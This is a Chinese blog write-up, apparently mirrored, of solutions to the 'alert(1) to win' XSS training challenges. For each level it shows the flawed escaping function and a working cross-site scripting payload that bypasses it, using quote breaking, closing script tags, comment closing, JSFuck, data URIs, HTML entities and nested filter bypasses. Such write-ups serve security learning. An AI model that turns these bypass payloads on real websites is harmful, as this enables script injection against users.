zoukankan      html  css  js  c++  java
  • alert(1) to win Part Ⅰ

    alert(1) to win

    Adobe:

    function escape(s) {
      s = s.replace(/"/g, '\"');
      return '<script>console.log("' + s + '");</script>';
    }
    

    此题将双引号转义为:"

    如果输入");alert(1)//,则输出:<script>console.log("");alert(1)//");</script>,将我们输入的带有恶意的双引号转义为 ", 多了个

    构建payload:");alert(1)//

    输出:<script>console.log("\");alert(1)//");</script>

    JSON

    function escape(s) {
      s = JSON.stringify(s);
      return '<script>console.log(' + s + ');</script>';
    }
    

    JSON.stringify()将 " 都转义了,只能:

    </script><script>alert(1)//

    Markdown

    function escape(s) {
      var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
      // URLs
      text = text.replace(/(http://S+)/g, '<a href="$1">$1</a>');
      // [[img123|Description]]
      text = text.replace(/[[(w+)|(.+?)]]/g, '<img alt="$2" src="$1.gif">');
      return text;
    }
    

    xss_to_win1

    分析:过滤消除了<"的隐患(他俩可扰乱正常的标签解析和属性的闭合),但又新引入了<>"

    xss_to_win2

    xss_to_win3

    DOM

    function escape(s) {
      // Slightly too lazy to make two input fields.
      // Pass in something like "TextNode#foo"
      var m = s.split(/#/);
    
      // Only slightly contrived at this point.
      var a = document.createElement('div');
      a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
      return a.innerHTML;
    }
    

    这题让我们学到:遇到实在弄不明白的代码可以放进控制台实验一下。

    先看代码,根据DOM的知识,大概意思是建立一个div元素,将输入的语句拼接到新的div元素里面。用#将输入分割成两部分,前面一部分接document.creatxxxxx(比如你输入Element,那么前面的document['create'+m[0]]就等价为document.createElement ),后面一部分为内容(至于是什么内容根据前面的标签而定。)在控制台实验如下:

    xss_to_win4

    createTextNode() 创建的是文本节点,不能解析成html元素标签,也就无法触发一些 on* 事件。

    createComment()没有将<>编码,故可使用 --> 闭合注释。

    payload:Comment#--><script>alert(1)</script>

    Callback

    function escape(s) {
      // Pass inn "callback#userdata"
      var thing = s.split(/#/); 
    
      if (!/^[a-zA-Z[]']*$/.test(thing[0])) return 'Invalid callback';
      var obj = {'userdata': thing[1] };
      var json = JSON.stringify(obj).replace(/</g, '\u003c');
      return "<script>" + thing[0] + "(" + json +")</script>";
    }
    

    两边的双引号弄掉了中间乱七八糟一大段,然后以;作为前面部分的总结,照常用//过滤掉后面的双引号。

    payload:'#';alert(1)//

    Skandia

    function escape(s) {
      return '<script>console.log("' + s.toUpperCase() + '")</script>';
    }
    

    代码很简单,就是把输入的字母全部变成大写。

    xss_to_win5

    使用jsfuck将alert(1)编码为下面的可执行内容

    xss_to_win6

    或者:

    先用一个标签闭合前面的(html标签对大小写不敏感)。
    中间再构造一个可以执行的alert(1)的标签就行了。
    payload:</script><script src=data:text/html,%61%6c%65%72%74(1)>使用 Data URI,插入一个 html 文档。
    payload:</script><img src=1 onerror=&#97&#108&#101&#114&#116(1)>使用HTML字符实体。

    Template

    function escape(s) {
      function htmlEscape(s) {
        return s.replace(/./g, function(x) {
           return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
         });
      }
    
      function expandTemplate(template, args) {
        return template.replace(
            /{(w+)}/g, 
            function(_, n) { 
               return htmlEscape(args[n]);
             });
      }
      
      return expandTemplate(
        "                                                
    
          <h2>Hello, <span id=name></span>!</h2>         
    
          <script>                                       
    
             var v = document.getElementById('name');    
    
             v.innerHTML = '<a href=#>{name}</a>';       
    
          </script>                                     
    
        ",
        { name : s }
      );
    }
    

    代码将输入的字符串中<>^"',进行转换后保存于变量name,再将变量拼接到<a href=#>{name}</a>其上下文环境是 javascript ,js编码即可,16进制、8进制或unicode。

    payload:x3cimg src=' onerror=alert(1)//

    JSON2

    function escape(s) {
        s = JSON.stringify(s).replace(/</script/gi, '');
        return '<script>console.log(' + s + ');</script>';
    }
    

    词条只需要绕过正则即可,该正则匹配</script不分大小写,匹配任意次。

    payload:</scr</scriptipt><script>alert(1)//

  • 相关阅读:
    bzoj1861 书架
    vijos2055 移动金币
    POJ2096 Collecting Bugs
    vijos2054 SDOI2019 热闹的聚会与尴尬的聚会
    vijos2051 SDOI2019 快速查询
    bzoj2215 POI2011 Conspiracy
    数据结构和算法(Golang实现)(2)简单入门Golang-包、变量和函数
    数据结构和算法(Golang实现)(1)简单入门Golang-前言
    Jupyter交互式工具安装使用
    Jekyll自动检测代码更新
  • 原文地址:https://www.cnblogs.com/chalan630/p/12702537.html
Copyright © 2011-2022 走看看